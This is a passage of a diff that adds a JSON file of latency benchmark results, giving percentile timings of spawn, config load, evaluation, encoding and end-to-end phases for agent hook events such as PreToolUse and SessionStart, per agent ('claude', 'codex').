66.73, + 70.69 + ], + "configLoad": [ + 4.03, + 7.24, + 7.69 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.58, + 1.94, + 2.08 + ], + "e2e": [ + 67.57, + 73.31, + 77.13 + ] + }, + "TaskCompleted": { + "spawn": [ + 61.41, + 77.24, + 116.21 + ], + "configLoad": [ + 4.05, + 7.44, + 13.11 + ], + "evaluate": [ + 0.14, + 0.22, + 0.28 + ], + "encode": [ + 0.25, + 0.39, + 0.5 + ], + "other": [ + 1.62, + 2.06, + 4.49 + ], + "e2e": [ + 67.71, + 93.73, + 128.58 + ] + }, + "Stop": { + "spawn": [ + 61.19, + 66.5, + 73.31 + ], + "configLoad": [ + 4.01, + 7.11, + 7.67 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.36 + ], + "other": [ + 1.58, + 1.92, + 2.15 + ], + "e2e": [ + 67.56, + 72.77, + 85.03 + ] + }, + "StopFailure": { + "spawn": [ + 60.76, + 66.07, + 69.44 + ], + "configLoad": [ + 4.02, + 7.05, + 8.13 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.61, + 1.91, + 2.14 + ], + "e2e": [ + 67.02, + 72.46, + 77.03 + ] + }, + "TeammateIdle": { + "spawn": [ + 61.1, + 66.6, + 69.85 + ], + "configLoad": [ + 4.04, + 7.21, + 7.74 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 1.6, + 1.91, + 2.13 + ], + "e2e": [ + 67.41, + 72.84, + 77.42 + ] + }, + "InstructionsLoaded": { + "spawn": [ + 61.19, + 66.74, + 70.84 + ], + "configLoad": [ + 4.01, + 7.17, + 7.95 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.59, + 1.9, + 2.16 + ], + "e2e": [ + 67.36, + 73.55, + 77.54 + ] + }, + "ConfigChange": { + "spawn": [ + 61.22, + 66.03, + 68.16 + ], + "configLoad": [ + 4.03, + 7.15, + 8.02 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.36 + ], + "other": [ + 1.59, + 1.91, + 3.28 + ], + "e2e": [ + 67.42, + 72.5, + 76.92 + ] + }, + "CwdChanged": { + "spawn": [ + 60.95, + 66.25, + 68.96 + ], + "configLoad": [ + 4.02, + 7.17, + 8.11 + ], + "evaluate": [ + 0.14, + 0.16, + 0.22 + ], + "encode": [ + 0.25, + 0.28, + 0.38 + ], + "other": [ + 1.6, + 1.94, + 3.1 + ], + "e2e": [ + 67.26, + 73.09, + 77.07 + ] + }, + "FileChanged": { + "spawn": [ + 61, + 67.24, + 70.39 + ], + "configLoad": [ + 4.02, + 7.33, + 9.09 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.38 + ], + "other": [ + 1.59, + 1.91, + 3.41 + ], + "e2e": [ + 67.31, + 73.92, + 82.07 + ] + }, + "WorktreeCreate": { + "spawn": [ + 61.02, + 73.23, + 115.15 + ], + "configLoad": [ + 4.04, + 7.45, + 13 + ], + "evaluate": [ + 0.14, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.3, + 0.5 + ], + "other": [ + 1.6, + 1.98, + 4.11 + ], + "e2e": [ + 67.44, + 88.13, + 130.04 + ] + }, + "WorktreeRemove": { + "spawn": [ + 60.9, + 66.22, + 69.39 + ], + "configLoad": [ + 4.03, + 7.22, + 7.78 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.35 + ], + "other": [ + 1.6, + 1.95, + 2.14 + ], + "e2e": [ + 67.23, + 72.76, + 75.88 + ] + }, + "PreCompact": { + "spawn": [ + 61.1, + 66.11, + 68.6 + ], + "configLoad": [ + 4.01, + 7.08, + 10.41 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.6, + 1.9, + 3 + ], + "e2e": [ + 67.31, + 72.44, + 76.49 + ] + }, + "PostCompact": { + "spawn": [ + 61.08, + 66.23, + 70.1 + ], + "configLoad": [ + 4.01, + 7.29, + 7.82 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.57, + 1.87, + 2.03 + ], + "e2e": [ + 67.34, + 72.48, + 78.02 + ] + }, + "Elicitation": { + "spawn": [ + 61.14, + 65.9, + 69.83 + ], + "configLoad": [ + 4.05, + 7.19, + 7.71 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.38 + ], + "other": [ + 1.59, + 1.87, + 2.03 + ], + "e2e": [ + 67.58, + 72.18, + 76.14 + ] + }, + "ElicitationResult": { + "spawn": [ + 61.05, + 66.35, + 70.86 + ], + "configLoad": [ + 4.05, + 7.23, + 7.86 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.6, + 1.92, + 3.11 + ], + "e2e": [ + 67.38, + 73.03, + 77.87 + ] + }, + "UserPromptExpansion": { + "spawn": [ + 61.14, + 65.62, + 69.28 + ], + "configLoad": [ + 4.03, + 7.12, + 7.94 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 1.59, + 1.95, + 2.8 + ], + "e2e": [ + 67.32, + 72.23, + 76.11 + ] + }, + "PostToolBatch": { + "spawn": [ + 61.08, + 65.86, + 68.92 + ], + "configLoad": [ + 4.01, + 7.01, + 7.85 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 1.59, + 1.92, + 2.12 + ], + "e2e": [ + 67.17, + 72.2, + 75.65 + ] + }, + "Setup": { + "spawn": [ + 60.85, + 66.05, + 68.91 + ], + "configLoad": [ + 4, + 7.11, + 7.62 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.6, + 1.87, + 2.01 + ], + "e2e": [ + 67.13, + 72.54, + 75.11 + ] + } + } + }, + "cells": { + "default": { + "claude|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.81, + 69.94, + 74.46 + ], + "configLoad": [ + 0.54, + 0.59, + 1.03 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.26, + 4.04, + 4.13 + ], + "e2e": [ + 66.44, + 74.38, + 78.93 + ] + }, + "e2eMean": 66.35, + "e2eStddev": 3.76, + "e2eMin": 59.87, + "e2eMax": 78.93 + }, + "claude|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.17, + 65.05, + 66.42 + ], + "configLoad": [ + 0.54, + 0.99, + 1.03 + ], + "evaluate": [ + 0.16, + 0.28, + 0.28 + ], + "encode": [ + 0.25, + 0.39, + 0.41 + ], + "other": [ + 3.42, + 3.8, + 3.84 + ], + "e2e": [ + 65.71, + 69.67, + 70.26 + ] + }, + "e2eMean": 65.5, + "e2eStddev": 2.8, + "e2eMin": 59.21, + "e2eMax": 70.26 + }, + "claude|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.55, + 63.82, + 65.54 + ], + "configLoad": [ + 0.53, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.42, + 3.8, + 4.06 + ], + "e2e": [ + 64.96, + 68.32, + 69.98 + ] + }, + "e2eMean": 64.54, + "e2eStddev": 2.6, + "e2eMin": 59.6, + "e2eMax": 69.98 + }, + "claude|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 62.22, + 67.43, + 67.69 + ], + "configLoad": [ + 0.54, + 0.58, + 0.62 + ], + "evaluate": [ + 1.06, + 1.12, + 1.15 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 3.63, + 3.93, + 4.11 + ], + "e2e": [ + 67.4, + 72.65, + 73.06 + ] + }, + "e2eMean": 67.37, + "e2eStddev": 3.13, + "e2eMin": 61.1, + "e2eMax": 73.06 + }, + "claude|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 60.1, + 62.81, + 64.27 + ], + "configLoad": [ + 0.54, + 0.59, + 0.61 + ], + "evaluate": [ + 0.3, + 0.33, + 0.33 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 3.53, + 3.97, + 4.11 + ], + "e2e": [ + 64.75, + 67.55, + 68.22 + ] + }, + "e2eMean": 64.57, + "e2eStddev": 2.04, + "e2eMin": 60.53, + "e2eMax": 68.22 + }, + "claude|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.01, + 66.47, + 69.82 + ], + "configLoad": [ + 0.54, + 0.57, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.35, + 3.82, + 3.97 + ], + "e2e": [ + 65.39, + 70.54, + 74.12 + ] + }, + "e2eMean": 66.08, + "e2eStddev": 3.17, + "e2eMin": 60.14, + "e2eMax": 74.12 + }, + "claude|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 60.46, + 67.42, + 69.27 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.56, + 0.62, + 0.71 + ], + "encode": [ + 0.26, + 0.29, + 0.29 + ], + "other": [ + 3.21, + 3.83, + 4.03 + ], + "e2e": [ + 65.09, + 72.32, + 73.23 + ] + }, + "e2eMean": 65.72, + "e2eStddev": 3.12, + "e2eMin": 60.12, + "e2eMax": 73.23 + }, + "claude|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.74, + 66.58, + 69.08 + ], + "configLoad": [ + 0.53, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.41, + 3.91, + 4.05 + ], + "e2e": [ + 65.19, + 70.9, + 73.67 + ] + }, + "e2eMean": 65.26, + "e2eStddev": 3.32, + "e2eMin": 58.24, + "e2eMax": 73.67 + }, + "claude|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.51, + 65.67, + 66.18 + ], + "configLoad": [ + 0.54, + 0.58, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.38, + 3.94, + 4.15 + ], + "e2e": [ + 65.81, + 70.05, + 70.84 + ] + }, + "e2eMean": 65.46, + "e2eStddev": 3.06, + "e2eMin": 59.49, + "e2eMax": 70.84 + }, + "claude|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.84, + 68.78, + 70.12 + ], + "configLoad": [ + 0.53, + 0.57, + 0.61 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.33, + 3.88, + 4.01 + ], + "e2e": [ + 64.01, + 73.19, + 74.81 + ] + }, + "e2eMean": 65.03, + "e2eStddev": 3.56, + "e2eMin": 60.29, + "e2eMax": 74.81 + }, + "claude|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.82, + 68.36, + 74.74 + ], + "configLoad": [ + 0.54, + 0.73, + 0.89 + ], + "evaluate": [ + 0.16, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 3.36, + 4.11, + 4.25 + ], + "e2e": [ + 67.26, + 72.4, + 78.76 + ] + }, + "e2eMean": 67.01, + "e2eStddev": 3.57, + "e2eMin": 61.11, + "e2eMax": 78.76 + }, + "claude|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.12, + 64.66, + 66.54 + ], + "configLoad": [ + 0.54, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.43, + 3.91, + 4.05 + ], + "e2e": [ + 65.53, + 69.3, + 70.88 + ] + }, + "e2eMean": 65.44, + "e2eStddev": 2.56, + "e2eMin": 60.96, + "e2eMax": 70.88 + }, + "claude|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.81, + 67.76, + 68.27 + ], + "configLoad": [ + 0.54, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.19, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.23, + 3.84, + 3.94 + ], + "e2e": [ + 65.03, + 71.72, + 72.94 + ] + }, + "e2eMean": 65.32, + "e2eStddev": 3.37, + "e2eMin": 60.44, + "e2eMax": 72.94 + }, + "claude|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.11, + 66.49, + 68.04 + ], + "configLoad": [ + 0.54, + 0.58, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.24, + 3.92, + 3.98 + ], + "e2e": [ + 65.28, + 70.64, + 72.59 + ] + }, + "e2eMean": 65.48, + "e2eStddev": 2.92, + "e2eMin": 60.18, + "e2eMax": 72.59 + }, + "claude|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.36, + 65.47, + 66.67 + ], + "configLoad": [ + 0.54, + 0.59, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.18, + 3.86, + 3.92 + ], + "e2e": [ + 64.31, + 70.1, + 71.18 + ] + }, + "e2eMean": 65.14, + "e2eStddev": 2.84, + "e2eMin": 60.98, + "e2eMax": 71.18 + }, + "claude|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.72, + 66.13, + 69.7 + ], + "configLoad": [ + 0.54, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 3.34, + 3.84, + 3.92 + ], + "e2e": [ + 65.27, + 70.8, + 73.54 + ] + }, + "e2eMean": 65.51, + "e2eStddev": 3.02, + "e2eMin": 60.6, + "e2eMax": 73.54 + }, + "claude|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.96, + 67.12, + 71.69 + ], + "configLoad": [ + 0.53, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.38 + ], + "other": [ + 3.39, + 3.92, + 4 + ], + "e2e": [ + 65.24, + 71.27, + 75.93 + ] + }, + "e2eMean": 65.77, + "e2eStddev": 3.17, + "e2eMin": 60.18, + "e2eMax": 75.93 + }, + "claude|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.66, + 66.96, + 68.35 + ], + "configLoad": [ + 0.55, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 3.31, + 3.83, + 3.95 + ], + "e2e": [ + 66.01, + 71.1, + 72.22 + ] + }, + "e2eMean": 66.09, + "e2eStddev": 2.81, + "e2eMin": 60.28, + "e2eMax": 72.22 + }, + "claude|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.47, + 65.35, + 89.9 + ], + "configLoad": [ + 0.54, + 0.91, + 1.07 + ], + "evaluate": [ + 0.17, + 0.2, + 0.3 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 3.41, + 4.06, + 4.13 + ], + "e2e": [ + 65.67, + 69.92, + 94.99 + ] + }, + "e2eMean": 66.34, + "e2eStddev": 4.79, + "e2eMin": 61.34, + "e2eMax": 94.99 + }, + "claude|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.43, + 67.59, + 70.33 + ], + "configLoad": [ + 0.55, + 0.7, + 0.91 + ], + "evaluate": [ + 0.16, + 0.19, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.44 + ], + "other": [ + 3.26, + 3.87, + 4.01 + ], + "e2e": [ + 66.97, + 72.45, + 74.5 + ] + }, + "e2eMean": 66.86, + "e2eStddev": 3.22, + "e2eMin": 60.64, + "e2eMax": 74.5 + }, + "claude|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.47, + 64.15, + 66.04 + ], + "configLoad": [ + 0.54, + 0.6, + 0.68 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.42, + 3.91, + 4 + ], + "e2e": [ + 64.96, + 67.9, + 70.72 + ] + }, + "e2eMean": 64.79, + "e2eStddev": 2.44, + "e2eMin": 59.43, + "e2eMax": 70.72 + }, + "claude|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.9, + 65.1, + 67.47 + ], + "configLoad": [ + 0.54, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.46, + 3.92, + 4.24 + ], + "e2e": [ + 65.42, + 69.67, + 71.78 + ] + }, + "e2eMean": 65.37, + "e2eStddev": 2.8, + "e2eMin": 59.81, + "e2eMax": 71.78 + }, + "claude|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.66, + 65.93, + 66.63 + ], + "configLoad": [ + 0.53, + 0.59, + 0.66 + ], + "evaluate": [ + 0.16, + 0.19, + 0.26 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.45, + 4.03, + 4.19 + ], + "e2e": [ + 64.86, + 70.51, + 71.24 + ] + }, + "e2eMean": 65.09, + "e2eStddev": 3.13, + "e2eMin": 59.31, + "e2eMax": 71.24 + }, + "claude|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.43, + 65.12, + 69.13 + ], + "configLoad": [ + 0.54, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.27, + 3.88, + 4.03 + ], + "e2e": [ + 65.58, + 69.97, + 73.55 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 2.81, + "e2eMin": 60.05, + "e2eMax": 73.55 + }, + "claude|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.06, + 64.57, + 67.83 + ], + "configLoad": [ + 0.54, + 0.59, + 0.61 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.39, + 3.98, + 4.06 + ], + "e2e": [ + 65.52, + 68.91, + 72.38 + ] + }, + "e2eMean": 65.48, + "e2eStddev": 2.47, + "e2eMin": 60.22, + "e2eMax": 72.38 + }, + "claude|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.27, + 65.41, + 71.23 + ], + "configLoad": [ + 0.55, + 0.59, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.29, + 3.78, + 3.86 + ], + "e2e": [ + 65.52, + 70.15, + 75.37 + ] + }, + "e2eMean": 65.71, + "e2eStddev": 2.72, + "e2eMin": 60.45, + "e2eMax": 75.37 + }, + "claude|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.22, + 65.4, + 66.51 + ], + "configLoad": [ + 0.54, + 0.57, + 0.57 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.27, + 0.27 + ], + "other": [ + 3.57, + 3.86, + 4.07 + ], + "e2e": [ + 64.88, + 69.78, + 71.13 + ] + }, + "e2eMean": 64.85, + "e2eStddev": 2.52, + "e2eMin": 59.05, + "e2eMax": 71.13 + }, + "claude|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.42, + 65.06, + 66.44 + ], + "configLoad": [ + 0.54, + 0.59, + 1.01 + ], + "evaluate": [ + 0.17, + 0.19, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.49, + 3.95, + 4.05 + ], + "e2e": [ + 65.87, + 69.56, + 70.9 + ] + }, + "e2eMean": 65.95, + "e2eStddev": 2.39, + "e2eMin": 61.68, + "e2eMax": 70.9 + }, + "claude|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.26, + 66.08, + 70.55 + ], + "configLoad": [ + 0.54, + 0.61, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.24, + 0.27, + 0.3 + ], + "other": [ + 3.29, + 3.75, + 3.89 + ], + "e2e": [ + 65.61, + 70.67, + 74.5 + ] + }, + "e2eMean": 65.61, + "e2eStddev": 2.97, + "e2eMin": 60.55, + "e2eMax": 74.5 + }, + "codex|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.48, + 65.65, + 68.88 + ], + "configLoad": [ + 0.52, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.71, + 4.21, + 4.39 + ], + "e2e": [ + 65, + 70.45, + 73.56 + ] + }, + "e2eMean": 65.32, + "e2eStddev": 3.1, + "e2eMin": 60.08, + "e2eMax": 73.56 + }, + "codex|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.35, + 65.55, + 65.67 + ], + "configLoad": [ + 0.53, + 0.58, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.71, + 4.23, + 4.3 + ], + "e2e": [ + 64.93, + 69.84, + 70.24 + ] + }, + "e2eMean": 65.03, + "e2eStddev": 2.93, + "e2eMin": 60.84, + "e2eMax": 70.24 + }, + "codex|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.49, + 65.37, + 68.6 + ], + "configLoad": [ + 0.52, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 3.64, + 4.16, + 4.24 + ], + "e2e": [ + 65.04, + 69.95, + 73.23 + ] + }, + "e2eMean": 65.34, + "e2eStddev": 2.89, + "e2eMin": 60.03, + "e2eMax": 73.23 + }, + "codex|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 60.35, + 64.38, + 67.57 + ], + "configLoad": [ + 0.52, + 0.55, + 0.57 + ], + "evaluate": [ + 1.05, + 1.11, + 1.14 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.73, + 4.32, + 4.45 + ], + "e2e": [ + 65.82, + 70.15, + 72.49 + ] + }, + "e2eMean": 65.69, + "e2eStddev": 2.99, + "e2eMin": 59.74, + "e2eMax": 72.49 + }, + "codex|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 61.1, + 65.46, + 67.3 + ], + "configLoad": [ + 0.53, + 0.57, + 0.8 + ], + "evaluate": [ + 0.31, + 0.33, + 0.34 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.7, + 4.09, + 4.31 + ], + "e2e": [ + 65.82, + 69.98, + 71.6 + ] + }, + "e2eMean": 66.03, + "e2eStddev": 2.59, + "e2eMin": 61, + "e2eMax": 71.6 + }, + "codex|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.37, + 66.18, + 71.21 + ], + "configLoad": [ + 0.52, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.54, + 4.26, + 4.46 + ], + "e2e": [ + 64.93, + 70.84, + 76.02 + ] + }, + "e2eMean": 65.37, + "e2eStddev": 3.28, + "e2eMin": 59.76, + "e2eMax": 76.02 + }, + "codex|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 60.02, + 64.96, + 68.12 + ], + "configLoad": [ + 0.53, + 0.56, + 0.57 + ], + "evaluate": [ + 0.57, + 0.59, + 0.61 + ], + "encode": [ + 0.26, + 0.29, + 0.33 + ], + "other": [ + 3.58, + 4.2, + 4.25 + ], + "e2e": [ + 64.99, + 70.09, + 72.68 + ] + }, + "e2eMean": 65.46, + "e2eStddev": 2.81, + "e2eMin": 60.86, + "e2eMax": 72.68 + }, + "codex|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.76, + 64.48, + 64.95 + ], + "configLoad": [ + 0.52, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.58, + 4.31, + 4.39 + ], + "e2e": [ + 64.57, + 69.25, + 69.83 + ] + }, + "e2eMean": 64.75, + "e2eStddev": 2.63, + "e2eMin": 60.03, + "e2eMax": 69.83 + }, + "codex|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.14, + 64.01, + 67.31 + ], + "configLoad": [ + 0.52, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.69, + 4.18, + 4.34 + ], + "e2e": [ + 64.43, + 68.51, + 72.26 + ] + }, + "e2eMean": 64.71, + "e2eStddev": 2.63, + "e2eMin": 60.19, + "e2eMax": 72.26 + }, + "codex|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.62, + 64.93, + 66.05 + ], + "configLoad": [ + 0.52, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.36 + ], + "other": [ + 3.62, + 4.19, + 4.31 + ], + "e2e": [ + 65.11, + 70.05, + 71.03 + ] + }, + "e2eMean": 65.17, + "e2eStddev": 2.88, + "e2eMin": 57.86, + "e2eMax": 71.03 + }, + "codex|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.82, + 63.58, + 64.61 + ], + "configLoad": [ + 0.52, + 0.55, + 0.56 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.73, + 4.25, + 4.42 + ], + "e2e": [ + 65.65, + 68.47, + 69.49 + ] + }, + "e2eMean": 65.21, + "e2eStddev": 2.46, + "e2eMin": 59.18, + "e2eMax": 69.49 + }, + "codex|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.14, + 66.55, + 67.81 + ], + "configLoad": [ + 0.53, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.84, + 4.23, + 4.28 + ], + "e2e": [ + 65.88, + 71.16, + 72.72 + ] + }, + "e2eMean": 65.94, + "e2eStddev": 2.85, + "e2eMin": 61.29, + "e2eMax": 72.72 + }, + "codex|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.24, + 65.82, + 67.85 + ], + "configLoad": [ + 0.53, + 0.57, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.53, + 4.09, + 4.22 + ], + "e2e": [ + 64.92, + 70.5, + 72.39 + ] + }, + "e2eMean": 65.24, + "e2eStddev": 3, + "e2eMin": 60.68, + "e2eMax": 72.39 + }, + "codex|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.85, + 65.01, + 71.37 + ], + 